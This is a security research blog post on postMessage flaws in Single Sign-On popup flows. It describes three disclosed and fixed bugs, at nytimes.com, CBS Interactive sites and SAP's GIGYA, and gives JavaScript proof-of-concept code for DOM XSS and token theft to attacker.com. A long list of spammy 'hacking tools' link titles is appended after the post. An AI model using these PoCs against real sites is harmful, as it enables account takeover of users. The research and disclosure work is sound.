Tuesday 23 January 2024

Security And Privacy Of Social Logins (II): PostMessage Security In Single Sign-On

This post is the second out of three blog posts summarizing my (Louis Jannett) research on the design, security, and privacy of real-world Single Sign-On (SSO) implementations. It is based on my master's thesis that I wrote between April and October 2020 at the Chair for Network and Data Security.

We structured this blog post series into three parts according to the research questions of my master's thesis: Single Sign-On Protocols in the Wild, PostMessage Security in Single Sign-On, and Privacy in Single Sign-On Protocols.

Overview

Part I: Single Sign-On Protocols in the Wild

Although previous work uncovered various security flaws in SSO, it did not work out uniform protocol descriptions of real-world SSO implementations. We summarize our in-depth analyses of Apple, Google, and Facebook SSO. We also refer to the sections of the thesis that provide more detailed insights into the protocol flows and messages.
It turned out that the postMessage API is commonly used in real-world SSO implementations. We introduce the reasons for this and propose security best practices on how to implement postMessage in SSO. Further, we present vulnerabilities on top-visited websites that caused DOM-based XSS and account takeovers due to insecure use of postMessage in SSO.

Part III: Privacy in Single Sign-On Protocols (coming soon)

Identity Providers (IdPs) use "zero-click" authentication flows to automatically sign in the user on the Service Provider (SP) once it is logged in on the IdP and has consented. We show that these flows can harm user privacy and enable new targeted deanonymization attacks of the user's identity.

PostMessage Security in Single Sign-On

If you are familiar with OAuth or OpenID Connect, you already know the redirect flow: It opens the Authentication Request in the primary window and returns the Authentication Response with a redirect from the IdP to the SP. This approach requires the browser to reload the entire SP website, which is especially in single-page applications a disadvantage.

The popup flow eliminates the need to reload the SP website by executing the SSO flow in a popup window as follows:

If the sign-in button on the SP website is clicked, the Authentication Request is opened in a new popup window. After the user submits its credentials and grants the consent, the IdP redirects the popup to the `redirect_uri`. From the IdP's perspective, a normal redirect flow is executed. Thus, the IdP does not need not implement any changes to support the popup flow. The SP receives the `code` at its Redirection Endpoint, redeems the `code`, authenticates the user, and finally returns JavaScript that sends an authentication token back to the primary window with postMessage. For instance, the response from the Redirection Endpoint sends the `access_token` (or `id_token` or any other application-specific token) from the popup window back to the primary window as follows:
const access_token = "ya29.a0Af..."; window.opener.postMessage(access_token, "https://sp.com"); 

Prior to that, the following JavaScript is executed in the primary window:

window.onmessage = (event) => { 	if (event.origin !== "https://sp.com") return; 	processToken(event.data); } 

Finally, the primary window receives the authentication token, optionally stores it in localStorage, and may use it for subsequent API calls.

Comparison: response_mode=web_message vs. popup flow

We discovered the popup flow in several real-world SSO implementations, although it is not formally defined in the OAuth or OpenID Connect specifications. Besides the response modes `query`, `fragment`, and `form_post`, we want to raise awareness for `response_mode=web_message`. This response mode requests not to perform any redirects but instead use the postMessage API. After the user submits its credentials and grants the consent, the IdP returns JavaScript, sending the Authentication Response from the popup window to the primary window using postMessage: `window.opener.postMessage("code=XYZ&state=123", "https://sp.com/redirect")`. Although the `redirect_uri` is not required to perform any redirects, it still serves as postMessage destination origin. The SP benefits from this response mode since it does not have to implement a Redirection Endpoint, which is useful for "real" single-page applications. However, the IdP must make changes to its implementation.

Although the `web_message` response mode is not formally specified in current OAuth or OpenID Connect standards, it still is defined in an expired draft from 2016: OAuth 2.0 Web Message Response Mode. Also, the current draft OAuth 2.0 Assisted Token proposes a separate endpoint used by postMessage SSO flows that are executed with iframes in single-page applications. The OAuth 2.0 Multiple Response Type Encoding Practices document leaves space for future specifications as well:

> Note that it is expected that additional Response Modes may be defined by other specifications in the future, including possibly ones utilizing the HTML5 postMessage API and Cross-Origin Resource Sharing (CORS). 

Security

The postMessage API has not only enjoyed popularity by developers but also by bug bounty hunters. The reason is simple: It provides a controlled circumvention of the Same Origin Policy and enables frames of different origins to communicate with each other. This comes at a cost: Developers need to meet specific security requirements to mitigate cross-origin attacks:

Destination Check

The origin of the window that receives the postMessage must be specified in the second parameter of the `postMessage` function. If the message is confidential (i.e., contains the `access_token`, `id_token`, or similar), the wildcard origin `*` must not be used. Instead, the SP origin (i.e., the `redirect_uri`) must be explicitly specified as destination origin. Insufficient destination checks can cause account takeovers.

Origin Check

In the postMessage event listener, the origin of the received postMessage must be checked before the payload is processed. The safest option is to perform a static string compare on the `event.origin` property. Developers need to pay special attention to regular expressions. For instance, `/^https?:\/\/.*sp\.com$/` is insecure, since it classifies `https://attackersp.com` as valid. Insufficient origin checks can cause DOM-based XSS, CSRF logins, and CSRF account linking.

Input Validation

In the postMessage event listener, the message must be validated before it is processed. For instance, let's assume the URL https://sp.com/login is sent with postMessage to an event listener, which navigates to that URL by setting the `window.location.href` property. If the URL is not validated, a maliciously-crafted URL (i.e., `javascript:alert(1)`) will cause DOM-based XSS.

Evaluation

We were curious about the security of postMessage in SSO flows on real-world SPs. To evaluate the current state of postMessage in SSO, the top 250 websites from Moz's list of the most popular websites served as a foundation. 
We identified 63 websites supporting SSO with Apple, Google, or Facebook. Out of 15 websites implementing the popup flow with postMessage, we found that ten are vulnerable to an account takeover and two are vulnerable to DOM-based XSS
In the following, we present three vulnerabilities on real-world SPs. Check out Section 4.5 of the thesis for more details and attacks.

Vuln. 1) DOM-based XSS on myaccount.nytimes.com

The website myaccount.nytimes.com was vulnerable to DOM-based XSS due to a missing postMessage origin check and insufficient input validation within the postMessage event listener.

The SSO flow on nytimes.com works as follows: If the user clicks the sign-in button on https://myaccount.nytimes.com/auth/login, the Authentication Request is opened in a new popup window. The user signs in, grants the consent, and the popup is redirected to the Redirection Endpoint on https://myaccount.nytimes.com/auth/google-login-callback?code=XYZ. The backend receives the code, redeems the code, authenticates the user, sets session cookies, and returns JavaScript that sends a postMessage containing a target URL to which the primary window should redirect after successful authentication.
Therefore, the primary window on https://myaccount.nytimes.com/auth/login registered the following (vulnerable) event listener:
// webpack:///./jsx/src/unified-lire/lire-ui-bundle/components/fullPage/FullPageView.js handleSsoPopupMessage = (e) => {     const payload = receivePostMessage(e);     if (payload.message == "SSO_ACTION_SUCCESS") {         window.top.location.href = payload.props.redirectUri;     } }  // webpack:///./jsx/src/utils/iFramePostMessages.js receivePostMessage = (e) => {     if (isNytimesDomain(e.origin)) return e.data; } isNytimesDomain = () => true; 

As you might have noticed, the event listener wants to validate the origin of the postMessage with the `isNytimesDomain` function, which returns `true` for all origins. Then, it redirects to the URL sent in the postMessage by setting the `window.top.location.href` property, but without validating the URL. We can use the `javascript` scheme to achieve DOM-based XSS. Therefore, the attacker embeds the following PoC on its malicious website:
window.popup = window.open("https://myaccount.nytimes.com/auth/login", "_blank"); setTimeout( () => { 	window.popup.postMessage({ 		"message": "SSO_ACTION_SUCCESS", 		"props": { 			"oauthProvider": "google", 			"redirectUri": "javascript:alert(document.domain)", 			"action": "LOGIN" 		} 	}, "*"); }, 2000); 

Responsible Disclosure

  • 2020-08-27: Initial report sent to The New York Times via HackerOne Disclosure Assistance
  • 2020-09-09: Acknowledged by HackerOne
  • 2020-11: Fixed with a domain whitelist: `["nytimes.com", "captcha-delivery.com", "localhost"].includes(...)`

Vuln. 2) Account Takeover on cbsnews.com, cnet.com, and zdnet.com

The websites cbsnews.com, cnet.com, and zdnet.com are brands of the CBS Interactive group and were vulnerable to a full account takeover due to an insufficient destination check in the `postMessage` function. Since the websites use a common authentication system, all three websites (and even more) were equally vulnerable.
In the following, we demonstrate the attack applied on cnet.com:

The SSO flow on cnet.com involves a popup window and an iframe on the primary window. The iframe loads the easyXDM library, which is (insecurely) used as a proxy between the popup window and the primary window.

If the user clicks the "Continue with Facebook" button on cnet.com, the Login Endpoint is opened in a new popup window. In return, it redirects the Authentication Request to Facebook. The user signs in, grants the consent, and the popup is redirected to the Redirection Endpoint. The backend receives the code, redeems it, creates a custom `accessCredential`, and returns JavaScript that calls the `setAccessCredentials` function in the iframe. The `accessCredential` is passed as a parameter to that function such that the iframe receives it. Note that this JavaScript callback only works because the iframe and popup window share the same origin.
Finally, the proxy iframe relays the `accessCredential` to the primary window using postMessage. The postMessage destination origin is retrieved from the `xdm_e` query parameter of the iframe URL. Note that this parameter is not validated, which is the core vulnerability in this flow.
To exploit this vulnerability, an attacker registers a postMessage event listener that will later receive the victim's `accessCredential` on its malicious website. It then embeds the proxy iframe and loads it with the `xdm_e=https://attacker.com` query parameter. Finally, the URL that starts the SSO flow is opened in a new popup window.
window.addEventListener("message", (e) => { alert(e.data); });  window.iframe = document.createElement("iframe"); window.iframe.name = "easyXDM"; window.iframe.src = "https://urs.cnet.com/pageservices/social/oauth/proxy?xdm_e=https%3A%2F%2Fattacker.com&xdm_c=urs375&xdm_p=1"; window.iframe.onload = () => { 	window.open("https://urs.cnet.com/pageservices/social/oauth/connect/facebook/375?extras=%7B%22requestType%22%3A%22SOCIAL_AUTH%22%2C%22version%22%3A%22v2.2%22%7D&frameId=easyXDM", "_blank"); } 

If the victim visits the malicious website, is logged in on Facebook, and has valid consent for `cnet.com`, the malicious website automatically receives the victim's `accessCredential`, enabling the attacker to gain access to the victim's account.

Responsible Disclosure

  • 2020-08-09: Initial report sent to support.cnet@cbsinteractive.com
  • 2020-08-11: Acknowledged by CNET Customer Support
  • 2020-08-28: Fix provided with an access control list containing insecure regular expressions: `/^.*\.cnet\.com((\/.*)?)$/` is valid for `xdm_e=https://attacker.com/.cnet.com`
  • 2020-08-28: Second report sent to support.cnet@cbsinteractive.com
  • 2020-08-29: Acknowledged by CNET Customer Support
  • 2020-09-04: Fix provided with secure regular expressions: `/^(https:\/\/)([a-zA-Z0-9\-]+\.)*cnet\.com((\/.*)?)$/`

Vuln. 3) Account Takeover in SAP Customer Data Cloud (GIGYA)

The SAP Customer Data Cloud, formally known as GIGYA, offers SSO as a Service: It acts both as IdP for its customers and SP for Google, Facebook, and other public IdPs. For instance, www.independent.co.uk and abc.es integrate the SAP IdP to offer both Google and Facebook SSO with a single codebase.
We discovered a vulnerability in the postMessage configuration that led to an account takeover on all websites integrating the SAP identity brokerage service for SSO.
We demonstrate the attack applied on www.independent.co.uk as follows:

The SSO flow is started from the SP website by opening the Authentication RequestSAP in a new popup window. This request defines the public IdP (Google) and the domain of the SP website that will finally receive the tokens from the SAP IdP. This domain is not validated correctly: It rejects trivial manipulations (i.e., `domain=https://attacker.com` or `domain=https://www.independent.co.uk.attacker.com`) but fails to detect the `user:pwd@host.com` Basic Authentication URI component.

Thus, an attacker can create a malicious website that opens the Authentication RequestSAP in a new popup window, sets the `client_id` to some targeted SP, and the domain to the URL of that SP with an appended `@attacker.com`. The SAP IdP generates an Authentication RequestGoogle and redirects the popup to that URL. It further associates the `domain` with the `state`. Note that from Google's perspective, the SP is the SAP IdP. After authentication and consent, Google redirects back to the Redirection EndpointSAP. The SAP IdP receives the `code`, redeems it at Google, authenticates the user, creates custom authentication tokens, and finally returns JavaScript, which uses postMessage to return the custom authentication tokens to the SP. Note that the postMessage destination origin is set to the initial domain parameter: `https://[...]@attacker.com`. The backend uses the `state` to retrieve the associated `domain`.

If a victim visits the malicious website, is logged in at Google, and has valid consent, the attacker can immediately receive the tokens from SAP that authenticate the victim on the targeted SP:
window.addEventListener("message", (e) => { alert(e.data);}); window.open("https://socialize.us1.gigya.com/socialize.login?x_provider=googleplus&client_id=2_bkQWNsWGVZf-fA4GnOiUOYdGuROCvoMoEN4WMj6_YBq4iecWA-Jp9D2GZCLbzON4&redirect_uri=%2FGS%2FAfterLogin.aspx&response_type=server_token&state=domain%3Dhttps%253A%252F%252Fwww.independent.co.uk:pwd@attacker.com", "_blank"); 

Responsible Disclosure

  • 2020-08-05: Initial report sent to Secure@sap.com
  • 2020-08-18: Acknowledged by SAP
  • 2020-09-17: Fixed validation on backend server

Acknowledgments

My thesis was supervised by Christian MainkaVladislav Mladenov, and Jörg Schwenk. Huge "thank you" for your continuous support, advice, and dozens of helpful tips. 
Also, special thanks to Lauritz for his feedback on this post and valuable discussions during the research. Check out his blog post series on Real-life OIDC Security as well.

Authors of this Post

Louis Jannett
Related articles
  1. Pentest Tools Apk
  2. Hack Tools 2019
  3. Pentest Tools List
  4. Hack Tools For Games
  5. Hacking Tools For Kali Linux
  6. Hacker Tools Linux
  7. Pentest Tools For Windows
  8. Hacker Security Tools
  9. Pentest Tools Windows
  10. Pentest Tools
  11. Hack Tool Apk
  12. Hackrf Tools
  13. Pentest Tools Apk
  14. Hacker Tools For Pc
  15. Hacker Tools Free
  16. Hack Tool Apk
  17. Hacker Tools 2019
  18. Hak5 Tools
  19. Pentest Tools Framework
  20. Hacker
  21. Hacker Tools Online
  22. Hacking Tools And Software
  23. Pentest Box Tools Download
  24. Pentest Tools Alternative
  25. Pentest Tools Review
  26. Hackrf Tools
  27. Hack Tools
  28. Growth Hacker Tools
  29. Hacking Tools Windows
  30. Hacker Tools
  31. Hack Tools Pc
  32. Best Pentesting Tools 2018
  33. Growth Hacker Tools
  34. Hacker Tools Free Download
  35. Hack Tools Mac
  36. Hacking Tools For Beginners
  37. Pentest Tools Linux
  38. Pentest Tools Alternative
  39. Hack Tool Apk
  40. Pentest Recon Tools
  41. Pentest Tools Android
  42. Hacking Tools For Windows Free Download
  43. Hacker Tools Linux
  44. Pentest Reporting Tools
  45. Top Pentest Tools
  46. Best Hacking Tools 2019
  47. New Hack Tools
  48. Hacker Tools 2019
  49. Pentest Tools Linux
  50. Pentest Reporting Tools
  51. Hacking Tools For Windows 7
  52. Pentest Tools For Ubuntu
  53. Hacker Search Tools
  54. Top Pentest Tools
  55. Hacker Tools List
  56. Hacking Tools For Games
  57. Hacking Tools For Kali Linux
  58. Hacking Tools For Beginners
  59. Hack And Tools
  60. Kik Hack Tools
  61. Blackhat Hacker Tools
  62. Hacking Tools Pc
  63. Free Pentest Tools For Windows
  64. Hacker Tools For Pc
  65. Pentest Tools For Android
  66. Pentest Reporting Tools
  67. Hacking Tools 2020
  68. Pentest Tools Url Fuzzer
  69. Hacking Tools 2019
  70. Hacker Hardware Tools
  71. Pentest Tools For Ubuntu
  72. Kik Hack Tools
  73. Hacker Tools For Mac
  74. Computer Hacker
  75. Hacking Tools Pc
  76. Pentest Tools Website
  77. Pentest Tools Tcp Port Scanner
  78. Pentest Tools Website Vulnerability
  79. Hacking Tools And Software
  80. Hacker Tool Kit
  81. Pentest Tools Apk
  82. Ethical Hacker Tools
  83. Computer Hacker
  84. Hacking Tools For Pc
  85. Install Pentest Tools Ubuntu
  86. Beginner Hacker Tools
  87. Hack Tool Apk No Root
  88. Hack Apps
  89. Kik Hack Tools
  90. Hacking Tools Name
  91. Hacker Tools For Mac
  92. Tools Used For Hacking
  93. Game Hacking
  94. Hacker Tools Github
  95. What Are Hacking Tools
  96. Hacking Tools 2019
  97. Hacker Tools List
  98. Hacking Tools Mac
  99. Hacker Security Tools
  100. Pentest Tools
  101. Pentest Tools Url Fuzzer
  102. Hacking Tools Software
  103. How To Install Pentest Tools In Ubuntu
  104. Hacking Tools For Kali Linux
  105. Wifi Hacker Tools For Windows
  106. Hack Rom Tools
  107. Hacker Tools 2020
  108. Hacking Tools For Windows Free Download
  109. Hacking Tools Hardware
  110. Ethical Hacker Tools
  111. Hacking Tools Github
  112. Hack Tool Apk
  113. Hacking App

No comments:

Post a Comment